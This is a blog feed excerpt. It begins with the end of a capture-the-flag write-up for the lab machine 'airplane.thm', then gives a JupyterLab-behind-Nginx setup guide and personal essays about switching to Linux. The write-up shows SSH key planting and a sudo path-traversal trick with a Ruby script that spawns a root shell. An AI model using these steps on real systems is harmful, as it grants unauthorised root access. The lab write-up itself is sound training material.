</span></span><span style="display:flex;"><span>uid<span style="color:#f92672">=</span>1001<span style="color:#f92672">(</span>hudson<span style="color:#f92672">)</span> gid<span style="color:#f92672">=</span>1001<span style="color:#f92672">(</span>hudson<span style="color:#f92672">)</span> euid<span style="color:#f92672">=</span>1000<span style="color:#f92672">(</span>carlos<span style="color:#f92672">)</span> groups<span style="color:#f92672">=</span>1001<span style="color:#f92672">(</span>hudson<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>bash-5.0$
</span></span></code></pre></div><p>To give us a decent shell as the user Carlos, we will create a keypair and then copy our SSH Public Key to the <code>authorized_keys</code> file in <code>/home/carlos/.ssh</code> after which we are able to SSH into the machine as the user</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ ssh -i id_ed25519 carlos@airplane.thm
</span></span><span style="display:flex;"><span>The authenticity of host <span style="color:#e6db74">&#39;airplane.thm (10.10.74.193)&#39;</span> can<span style="color:#e6db74">&#39;t be established.
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">ED25519 key fingerprint is SHA256:9q23c/CHFWNnqEDK/eQFZ2BSYcCGfCW3+A9hX0ubHj0.
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">This key is not known by any other names.
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Warning: Permanently added &#39;</span>airplane.thm<span style="color:#960050;background-color:#1e0010">&#39;</span> <span style="color:#f92672">(</span>ED25519<span style="color:#f92672">)</span> to the list of known hosts.
</span></span><span style="display:flex;"><span>Welcome to Ubuntu 20.04.6 LTS <span style="color:#f92672">(</span>GNU/Linux 5.4.0-139-generic x86_64<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> * Documentation:  https://help.ubuntu.com
</span></span><span style="display:flex;"><span> * Management:     https://landscape.canonical.com
</span></span><span style="display:flex;"><span> * Support:        https://ubuntu.com/pro
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Expanded Security Maintenance <span style="color:#66d9ef">for</span> Applications is not enabled.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">0</span> updates can be applied immediately.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Enable ESM Apps to receive additional future security updates.
</span></span><span style="display:flex;"><span>See https://ubuntu.com/esm or run: sudo pro status
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Your Hardware Enablement Stack <span style="color:#f92672">(</span>HWE<span style="color:#f92672">)</span> is supported <span style="color:#66d9ef">until</span> April 2025.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>The programs included with the Ubuntu system are free software;
</span></span><span style="display:flex;"><span>the exact distribution terms <span style="color:#66d9ef">for</span> each program are described in the
</span></span><span style="display:flex;"><span>individual files in /usr/share/doc/*/copyright.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
</span></span><span style="display:flex;"><span>applicable law.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>carlos@airplane:~$
</span></span></code></pre></div><p>We check our permissions as soon as we have a shell and we are able to run Ruby files</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>carlos@airplane:~$ sudo -l
</span></span><span style="display:flex;"><span>Matching Defaults entries <span style="color:#66d9ef">for</span> carlos on airplane:
</span></span><span style="display:flex;"><span>    env_reset, mail_badpass, secure_path<span style="color:#f92672">=</span>/usr/local/sbin<span style="color:#ae81ff">\:</span>/usr/local/bin<span style="color:#ae81ff">\:</span>/usr/sbin<span style="color:#ae81ff">\:</span>/usr/bin<span style="color:#ae81ff">\:</span>/sbin<span style="color:#ae81ff">\:</span>/bin<span style="color:#ae81ff">\:</span>/snap/bin
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>User carlos may run the following commands on airplane:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">(</span>ALL<span style="color:#f92672">)</span> NOPASSWD: /usr/bin/ruby /root/*.rb
</span></span></code></pre></div><p>This is trivial to bypass as we can use the <code>..</code> notation to move from the root directory where we are allowed to execute commands , back to the <code>/tmp</code> directory and we are root</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>carlos@airplane:~$ echo <span style="color:#e6db74">&#39;exec &#34;/bin/bash&#34;&#39;</span> &gt; /tmp/shell.rb
</span></span><span style="display:flex;"><span>carlos@airplane:~$ sudo ruby /root/../tmp/shell.rb
</span></span><span style="display:flex;"><span>root@airplane:/home/carlos# id
</span></span><span style="display:flex;"><span>uid<span style="color:#f92672">=</span>0<span style="color:#f92672">(</span>root<span style="color:#f92672">)</span> gid<span style="color:#f92672">=</span>0<span style="color:#f92672">(</span>root<span style="color:#f92672">)</span> groups<span style="color:#f92672">=</span>0<span style="color:#f92672">(</span>root<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>root@airplane:/home/carlos#
</span></span></code></pre></div><p>Overall this was an enjoyable machine, and just required a little creativity to exploit the LFI.</p>
]]></content>
        </item>
        
        <item>
            <title>JupyterLab behind Nginx Reverse Proxy</title>
            <link>https://www.nephos.guru/posts/2023/jupyter/</link>
            <pubDate>Fri, 13 Oct 2023 16:25:41 +0800</pubDate>
            
            <guid>https://www.nephos.guru/posts/2023/jupyter/</guid>
            <description>&lt;h2 id=&#34;prerequisites&#34;&gt;Prerequisites&lt;/h2&gt;
&lt;p&gt;This is based on the assumption on having a Virtual Machine / Cloud Instance that has the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Debian 12 Server (minimal installation with SSH enabled)&lt;/li&gt;
&lt;li&gt;A non-root user with sudo privileges&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;installing-dependencies&#34;&gt;Installing Dependencies&lt;/h2&gt;
&lt;p&gt;Update Debian package index and install required packages:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt update &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; sudo apt install python3 python3-pip python3-venv nodejs -y
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Confirm that these have been successfully installed by running command &lt;code&gt;python3 --version &amp;amp;&amp;amp; pip3 --version &amp;amp;&amp;amp; node --version&lt;/code&gt; and you will see output as below:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="prerequisites">Prerequisites</h2>
<p>This is based on the assumption on having a Virtual Machine / Cloud Instance that has the following:</p>
<ul>
<li>Debian 12 Server (minimal installation with SSH enabled)</li>
<li>A non-root user with sudo privileges</li>
</ul>
<h2 id="installing-dependencies">Installing Dependencies</h2>
<p>Update Debian package index and install required packages:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt update <span style="color:#f92672">&amp;&amp;</span> sudo apt install python3 python3-pip python3-venv nodejs -y
</span></span></code></pre></div><p>Confirm that these have been successfully installed by running command <code>python3 --version &amp;&amp; pip3 --version &amp;&amp; node --version</code> and you will see output as below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>david@debian:~$ python3 --version <span style="color:#f92672">&amp;&amp;</span> pip3 --version <span style="color:#f92672">&amp;&amp;</span> node --version
</span></span><span style="display:flex;"><span>Python 3.11.2
</span></span><span style="display:flex;"><span>pip 23.0.1 from /usr/lib/python3/dist-packages/pip <span style="color:#f92672">(</span>python 3.11<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>v18.13.0
</span></span></code></pre></div><h2 id="installing-jupyter">Installing Jupyter</h2>
<h3 id="create-a-python-virtual-environment">Create a Python Virtual Environment</h3>
<p>Create a directory,  a Python virtual environment and then activate it</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir -p ~/project <span style="color:#f92672">&amp;&amp;</span> cd ~/project
</span></span><span style="display:flex;"><span>python3 -m venv venv
</span></span><span style="display:flex;"><span>source venv/vin/activate
</span></span></code></pre></div><h3 id="installing-jupyter-1">Installing Jupyter</h3>
<p>Once the Python virtual environment has been activated install the Jupyter environment via Pip and then confirm that it has been install correctly</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>pip3 install jupyter
</span></span><span style="display:flex;"><span>which jupyter <span style="color:#f92672">&amp;&amp;</span> jupyter --version
</span></span></code></pre></div><p>If it has been successfully installed you will get output similar to the following</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#f92672">(</span>venv<span style="color:#f92672">)</span> david@debian:~/project$ which jupyter <span style="color:#f92672">&amp;&amp;</span> jupyter --version
</span></span><span style="display:flex;"><span>/home/david/project/venv/bin/jupyter
</span></span><span style="display:flex;"><span>Selected Jupyter core packages...
</span></span><span style="display:flex;"><span>IPython          : 8.16.1
</span></span><span style="display:flex;"><span>ipykernel        : 6.25.2
</span></span><span style="display:flex;"><span>ipywidgets       : 8.1.1
</span></span><span style="display:flex;"><span>jupyter_client   : 8.3.1
</span></span><span style="display:flex;"><span>jupyter_core     : 5.4.0
</span></span><span style="display:flex;"><span>jupyter_server   : 2.7.3
</span></span><span style="display:flex;"><span>jupyterlab       : 4.0.6
</span></span><span style="display:flex;"><span>nbclient         : 0.8.0
</span></span><span style="display:flex;"><span>nbconvert        : 7.9.2
</span></span><span style="display:flex;"><span>nbformat         : 5.9.2
</span></span><span style="display:flex;"><span>notebook         : 7.0.4
</span></span><span style="display:flex;"><span>qtconsole        : 5.4.4
</span></span><span style="display:flex;"><span>traitlets        : 5.11.2
</span></span></code></pre></div><h3 id="configuring-jupyterlab">Configuring JupyterLab</h3>
<p>JupyterLab is the next-generation web-based user interface for the Jupyter ecosystem. With JupyterLab, you can work with documents, and activities such as Jupyter Notebook, text editor, and terminal in one window. The JupyterLab offers an IDE-like experience for managing and developing Jupyter projects.</p>
<p>First, we need to configure the Jupyter Server and secure the installation</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>jupyter server --generate-config
</span></span><span style="display:flex;"><span>jupyter server password
</span></span></code></pre></div><p>You can verify the content of the Jupyter Server configuration using the following command</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>jupyter server --show-config
</span></span></code></pre></div><p>Next, generate a new configuration for JupyterLab and assign an IP Address</p>
<blockquote>
<p>Make sure to change the IP address to the one that is being used on your server</p>
</blockquote>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>jupyter lab --generate-config
</span></span><span style="display:flex;"><span>jupyter lab --show-config
</span></span><span style="display:flex;"><span>jupyter lab --ip 1.1.1.1
</span></span></code></pre></div><p>The Jupyter Lab will be running on the assigned IP address with the default Port 8888 and is accessible via /lab path</p>
<p><img src="/assets/password.png" alt="password prompt"></p>
<p>Once you have entered the correct password you will see the default landing page</p>
<p><img src="/assets/jupyter_landing.png" alt="jupyter landing page"></p>
<h3 id="running-jupyterlab-as-a-systemd-service">Running JupyterLab as a Systemd Service</h3>
<p>Create a new systemd service file in <code>/etc/systemd/system/jupyterlab.service</code> using your preferred editor with the following content</p>
<blockquote>
<p>Ensure that you change the username from <strong>david</strong> to the username of the account that you are using</p>
</blockquote>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#f92672">[</span>Unit<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>Description<span style="color:#f92672">=</span>JupyterLab Service
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>Service<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>Type<span style="color:#f92672">=</span>simple
</span></span><span style="display:flex;"><span>PIDFile<span style="color:#f92672">=</span>/run/jupyter.pid
</span></span><span style="display:flex;"><span>ExecStart<span style="color:#f92672">=</span>/home/david/project/venv/bin/jupyter lab --config<span style="color:#f92672">=</span>/home/david/.jupyter/jupyter_lab_config.py
</span></span><span style="display:flex;"><span>User<span style="color:#f92672">=</span>david
</span></span><span style="display:flex;"><span>Group<span style="color:#f92672">=</span>david
</span></span><span style="display:flex;"><span>WorkingDirectory<span style="color:#f92672">=</span>/home/david/project
</span></span><span style="display:flex;"><span>Restart<span style="color:#f92672">=</span>always
</span></span><span style="display:flex;"><span>RestartSec<span style="color:#f92672">=</span><span style="color:#ae81ff">10</span>
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>Install<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>WantedBy<span style="color:#f92672">=</span>multi-user.target
</span></span></code></pre></div><p>Reload the systemd manager to apply the changes and then load the service</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo systemctl daemon-reload
</span></span><span style="display:flex;"><span>sudo systemctl enable jupyterlab --now
</span></span><span style="display:flex;"><span>sudo systemctl status jupyterlab
</span></span></code></pre></div><p>Check the output to see that the service is running  which should like below</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Press RETURN to <span style="color:#66d9ef">continue</span> 
</span></span><span style="display:flex;"><span>● jupyterlab.service - JupyterLab Service
</span></span><span style="display:flex;"><span>     Loaded: loaded <span style="color:#f92672">(</span>/etc/systemd/system/jupyterlab.service; enabled; preset: enabled<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>     Active: active <span style="color:#f92672">(</span>running<span style="color:#f92672">)</span> since Wed 2023-10-11 11:46:28 PST; 43min ago
</span></span><span style="display:flex;"><span>   Main PID: <span style="color:#ae81ff">4690</span> <span style="color:#f92672">(</span>jupyter-lab<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>      Tasks: <span style="color:#ae81ff">3</span> <span style="color:#f92672">(</span>limit: 4603<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>     Memory: 79.2M
</span></span><span style="display:flex;"><span>        CPU: 2.381s
</span></span><span style="display:flex;"><span>     CGroup: /system.slice/jupyterlab.service
</span></span><span style="display:flex;"><span>             └─4690 /home/david/project/venv/bin/python3 /home/david/project/venv/bin/jupyter-lab --config<span style="color:#f92672">=</span>/home/david/.jupyter/jupyter_lab_config.py
</span></span></code></pre></div><h2 id="configure-nginx-as-a-reverse-proxy-for-jupyter">Configure Nginx as a Reverse Proxy for Jupyter</h2>
<h3 id="allow-remote-access-to-jupyterlab">Allow Remote Access to JupyterLab</h3>
<p>By default JupyterLab is only accessible via a Local IP address.  To allow remote connection the default configuration must be modified.  Modify <code>~/.jupyter/jupyter_lab_config.py</code> and uncomment and modify the following line to the following</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>c.ServerApp.allow_remote_access <span style="color:#f92672">=</span> True
</span></span></code></pre></div><p>Once this has been modified, restart the JupyterLab Service by running <code>sudo systemctl restart jupyterlab.service</code></p>
<blockquote>
<p>When you restart the service you will see a token in the URL, make a copy of this as you will need it later</p>
</blockquote>
<h3 id="install-and-configure-nginx-as-a-reverse-proxy">Install and Configure Nginx as a Reverse Proxy</h3>
<p>Install Nginx</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt install nginx -y
</span></span></code></pre></div><p>After Nginx is installed, create a server block configuration in <code>/etc/nginx/sites/available/jupyterlab</code> using your preferred editor running with sudo privileges</p>
<p>Insert the following configuration ensuring to change the domain name</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>server <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    listen 80;
</span></span><span style="display:flex;"><span>    server_name jupyterlab.vmdomain.io;
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    access_log /var/log/nginx/vmdomain.io.access.log;
</span></span><span style="display:flex;"><span>    error_log /var/log/nginx/vmdomain.io.error.log;
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span>    location / <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        proxy_pass http://127.0.0.1:8888;
</span></span><span style="display:flex;"><span>        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
</span></span><span style="display:flex;"><span>        proxy_set_header X-Real-IP $remote_addr;
</span></span><span style="display:flex;"><span>        proxy_set_header Host $http_host;
</span></span><span style="display:flex;"><span>        proxy_http_version 1.1;
</span></span><span style="display:flex;"><span>        proxy_redirect off;
</span></span><span style="display:flex;"><span>        proxy_buffering off;
</span></span><span style="display:flex;"><span>        proxy_set_header Upgrade $http_upgrade;
</span></span><span style="display:flex;"><span>        proxy_set_header Connection <span style="color:#e6db74">&#34;upgrade&#34;</span>;
</span></span><span style="display:flex;"><span>        proxy_read_timeout 86400;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>Run the following command to activate the server block and verify the Nginx Configuration</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo ln -s /etc/nginx/sites-available/jupyterlab /etc/nginx/sites-enabled/
</span></span><span style="display:flex;"><span>sudo nginx -t
</span></span></code></pre></div><p>You should receive the following output if the configuration is successful</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
</span></span><span style="display:flex;"><span>nginx: configuration file /etc/nginx/nginx.conf test is successful
</span></span></code></pre></div><p>Once you have confirmed that the configuration file is ok, restart Nginx and verify that the service started correctly</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo systemctl restart nginx
</span></span><span style="display:flex;"><span>sudo systemctl status nginx
</span></span></code></pre></div><h2 id="access-jupyterlab-via-local-machine">Access JupyterLab via Local Machine</h2>
<p>Modify the <code>/etc/hosts</code> file to include the IP Address and FQDN</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>1.1.1.1    jupyterlab.vmdomain.io
</span></span></code></pre></div><p>Next, open a Web Browser and navigate to your JupyterLab installation <a href="http://jupyterlab.vmdomain.io">http://jupyterlab.vmdomain.io</a> and you will get a login page.  Go to the bottom and you will enter the token you got earlier and you can also set a new password</p>
<p><img src="/assets/jupyter_token.png" alt="Enter Jupyter Token and Set Password"></p>
<p>You will then be taken to the dashboard and the installation is complete.</p>
]]></content>
        </item>
        
        <item>
            <title>My Linux Journey: From Desktop Environments to Minimalist Tiling Window Manager</title>
            <link>https://www.nephos.guru/posts/2023/linux_journey_continued/</link>
            <pubDate>Fri, 06 Oct 2023 18:22:13 +0800</pubDate>
            
            <guid>https://www.nephos.guru/posts/2023/linux_journey_continued/</guid>
            <description>&lt;p&gt;I can&amp;rsquo;t believe it&amp;rsquo;s been over two years since I made the switch from Apple to Linux. It was a great decision, and I haven&amp;rsquo;t looked back.&lt;/p&gt;
&lt;p&gt;At first, I used PopOS, a Linux distribution known for its tiling window manager. I liked PopOS, but I wanted a more customized and streamlined experience. So, I decided to move away from desktop environments altogether and switch to a tiling window manager on Debian 12.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>I can&rsquo;t believe it&rsquo;s been over two years since I made the switch from Apple to Linux. It was a great decision, and I haven&rsquo;t looked back.</p>
<p>At first, I used PopOS, a Linux distribution known for its tiling window manager. I liked PopOS, but I wanted a more customized and streamlined experience. So, I decided to move away from desktop environments altogether and switch to a tiling window manager on Debian 12.</p>
<h2 id="why-ditch-the-desktop-environment">Why ditch the desktop environment?</h2>
<p>Desktop environments are collections of software applications that provide the graphical user interface (GUI) for Linux operating systems. They include the desktop, taskbar, menus, windows, and other visual elements.</p>
<p>But desktop environments can also be bloated and resource-intensive. If you&rsquo;re looking for a more minimalist and lightweight computing experience, a tiling window manager may be a better option.</p>
<p>Tiling window managers don&rsquo;t come with a pre-built GUI. Instead, they give you complete control over how your windows are arranged on the screen. This can be more efficient and productive than using a desktop environment, especially if you&rsquo;re working with multiple windows at the same time.</p>
<h2 id="my-tiling-window-manager-journey">My tiling window manager journey</h2>
<p>I tried a few different tiling window managers before settling on i3. i3 is well-documented, highly configurable, and meets my needs perfectly.</p>
<p>But there are many other great tiling window managers available, such as Awesome Windows Manager, BSPWM, DWM, Qtile, and XMonad. If you&rsquo;re interested in trying a tiling window manager, I encourage you to experiment and find one that&rsquo;s right for you.</p>
<h2 id="setting-up-a-tiling-window-manager">Setting up a tiling window manager</h2>
<p>Setting up a tiling window manager can be a bit of a learning curve. But it&rsquo;s worth it for the benefits of a more minimalist and efficient computing experience.</p>
<h2 id="here-are-a-few-tips">Here are a few tips:</h2>
<ul>
<li>Start by choosing a tiling window manager that&rsquo;s right for you. Consider your needs and workflow when choosing a window manager.</li>
<li>Once you&rsquo;ve chosen a tiling window manager, read the documentation and tutorials. This will help you learn how to use the window manager and configure it to your liking.</li>
<li>Don&rsquo;t be afraid to experiment. Tiling window managers are highly customizable, so there&rsquo;s no right or wrong way to use them. Try different configurations and find what works best for you.</li>
</ul>
<h2 id="conclusion">Conclusion</h2>
<p>I&rsquo;ve been using a tiling window manager on Debian 12 for a few months now, and I&rsquo;m very happy with the switch. It&rsquo;s given me a more minimalist, efficient, and productive computing experience.</p>
<p>If you&rsquo;re looking for a way to improve your Linux workflow, I encourage you to try a tiling window manager. It may take some time to get used to, but it&rsquo;s worth it in the end.  Feel free to check out my <a href="https://github.com/n3ph0s/debian-n3ph0s">configuration</a> which I will be updating periodically.</p>
]]></content>
        </item>
        
        <item>
            <title>My Journey to Linux</title>
            <link>https://www.nephos.guru/posts/2022/linux_journey/</link>
            <pubDate>Wed, 13 Jul 2022 01:32:51 +0800</pubDate>
            
            <guid>https://www.nephos.guru/posts/2022/linux_journey/</guid>
            <description>&lt;p&gt;This is the story of my journey from being a loyal Apple user for nearly 20 years when 1 year ago I decided to completely leave the Apple ecosystem and move to Linux full-time.&lt;/p&gt;
&lt;p&gt;The article will provide an overview of the many small decisions that I made from mid-2021 when I got a Lenovo laptop and installed PopOS 20.04 on it.&lt;/p&gt;
&lt;h2 id=&#34;background&#34;&gt;Background&lt;/h2&gt;
&lt;p&gt;To provide some context, it was around 2000 when I decided to move away from Windows (the last good Windows OS in my opinion was Windows XP) and my first foray into Apple was an iMac (The tangerine colour I believe) and over the years I have had several MacBook Pros including the 17inch model which was a beast and lasted for more years than I can recall. It was, however, the last and probably the most expensive device over the time was the top of line, MBP Pro 13 inch Retina with Touch Bar and fully spec&amp;rsquo;d out and it was a lemon. The battery swelled, I took it to Apple to get it repaired and then it just got worse and worse from there and it became very evident that the quality that made the original Apple so good, went away when Steve Jobs passed and under the reign of Tim Cook the innovation and quality went south.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>This is the story of my journey from being a loyal Apple user for nearly 20 years when 1 year ago I decided to completely leave the Apple ecosystem and move to Linux full-time.</p>
<p>The article will provide an overview of the many small decisions that I made from mid-2021 when I got a Lenovo laptop and installed PopOS 20.04 on it.</p>
<h2 id="background">Background</h2>
<p>To provide some context, it was around 2000 when I decided to move away from Windows (the last good Windows OS in my opinion was Windows XP) and my first foray into Apple was an iMac (The tangerine colour I believe) and over the years I have had several MacBook Pros including the 17inch model which was a beast and lasted for more years than I can recall. It was, however, the last and probably the most expensive device over the time was the top of line, MBP Pro 13 inch Retina with Touch Bar and fully spec&rsquo;d out and it was a lemon. The battery swelled, I took it to Apple to get it repaired and then it just got worse and worse from there and it became very evident that the quality that made the original Apple so good, went away when Steve Jobs passed and under the reign of Tim Cook the innovation and quality went south.</p>
<p>It was at that point that I decided to leave the Apple Galaxy and not just the computer, but the mobile and tablet landscape as well and switched to a custom ROM Android and Linux and when reflecting on it, I should have done this a lot sooner. Platform lockdown, software bloat and general lack of privacy are actual things and it is costly.</p>
<p>I did briefly consider Windows 10 as well, very shortly (about 30 seconds) before dismissing that as a viable option.</p>
<p>Normally when looking to make a change such as switching Operating Systems, there are at least 3 areas that need to be considered which are hardware, software and data, but this for me was a lot easier as the hardware was completely unstable at the point of time that I went out and bought the Lenovo laptop, as my current Apple machine was having several kernel panics a day. I started ensuring that all data was backed up and the key challenges were related to software and peripherals that I will cover later in the article.</p>
<h3 id="ideology">Ideology</h3>
<p>When you say to people that you are running Linux, they often believe that it is related to an ideology such as &ldquo;Free and Open Source Software&rdquo; or anti-large technology companies, but this isn&rsquo;t my case.</p>
<p>I do have strong views related to Open Source Software, but I am not one of those zealots that refuses to use commercial software and will only use Free and Open Source, but what I do care about is the ability to access data that I created without being locked into a single platform/system as my needs change over the years.</p>
<p>My choice of technology is related to my computing needs and knowledge at that particular time in my life. Windows was good in the 90s and Macs for the next 20 years, but now, Linux is my preferred choice and for the foreseeable future.</p>
<h2 id="hardware">Hardware</h2>
<p>Normally, this would have been the longest part of the overall experience as I looked for a machine that would meet all my requirements, but this was very quick as I had a malfunctioning machine and went to a Harvey Norman in Singapore and from the limited selection that they had, I chose a Lenovo ThinkPad which had reasonable specifications and I had a reasonably high level of confidence that it would support Linux.</p>
<p>I was surprised how little support the big providers have for Linux Desktop, but thankfully the one that I got worked and I haven&rsquo;t had any issues with it to date.</p>
<p>Once I had been using it for a few months, I then decided to upgrade the RAM and hard disk which I was able to do myself, which is something that I used to do a lot in my early days with computing, but when I started using a Mac, this became a non-starter as in the early days, it was possible, but difficult and Apple made it even more difficult to near on impossible in the recent years. Even trying to repurpose an old machine is now near impossible.</p>
<p>One thing that I truly did come to appreciate is that I don&rsquo;t need a laptop anymore as I am more than capable of doing basic tasks on my smartphone or tablet. I am writing this on my phone with an external keyboard and for simple tasks, the need for a laptop becomes less important especially given that I predominately work remotely and travel has stopped. My next machine will be a desktop from System76 which is an independent computer maker that specializes in Linux-compatible hardware.</p>
<h3 id="peripherals">Peripherals</h3>
<p>The main peripherals that I had were a portable ScanSnap Scanner as well as a desktop version for larger jobs, which unfortunately the manufacturer doesn&rsquo;t provide Linux drivers, but I was able to find a way to port the drivers across and have both of them working, but not as seamless as they do on either a Mac or Windows as some of the advanced functionality isn&rsquo;t supported, but at the end of the day, the key task is scanning and this works.</p>
<p>The other was a Kensington trackball which worked when plugged in but I wasn&rsquo;t able to use the software that comes with the product to program the usage of the buttons, but I did find how to program them at the lower level and have a script that autodetects when the trackball is connected which runs and configures it to exactly how I want it to function.</p>
<p>Everything else such as my Logitech Webcam, Bluetooth headphones and remote wireless cards, all work natively without any issue at all.</p>
<h2 id="software">Software</h2>
<p>As I mentioned earlier, I chose PopOS as my operating system as it is based on Ubuntu which has a very large repository of software available and nearly every Open Source project provides a *.deb package that can be easily installed.</p>
<p>The next challenge was to find suitable software to replace those that had become stables of what I used daily on my Mac.</p>
<h3 id="note-taking-apps">Note-Taking Apps</h3>
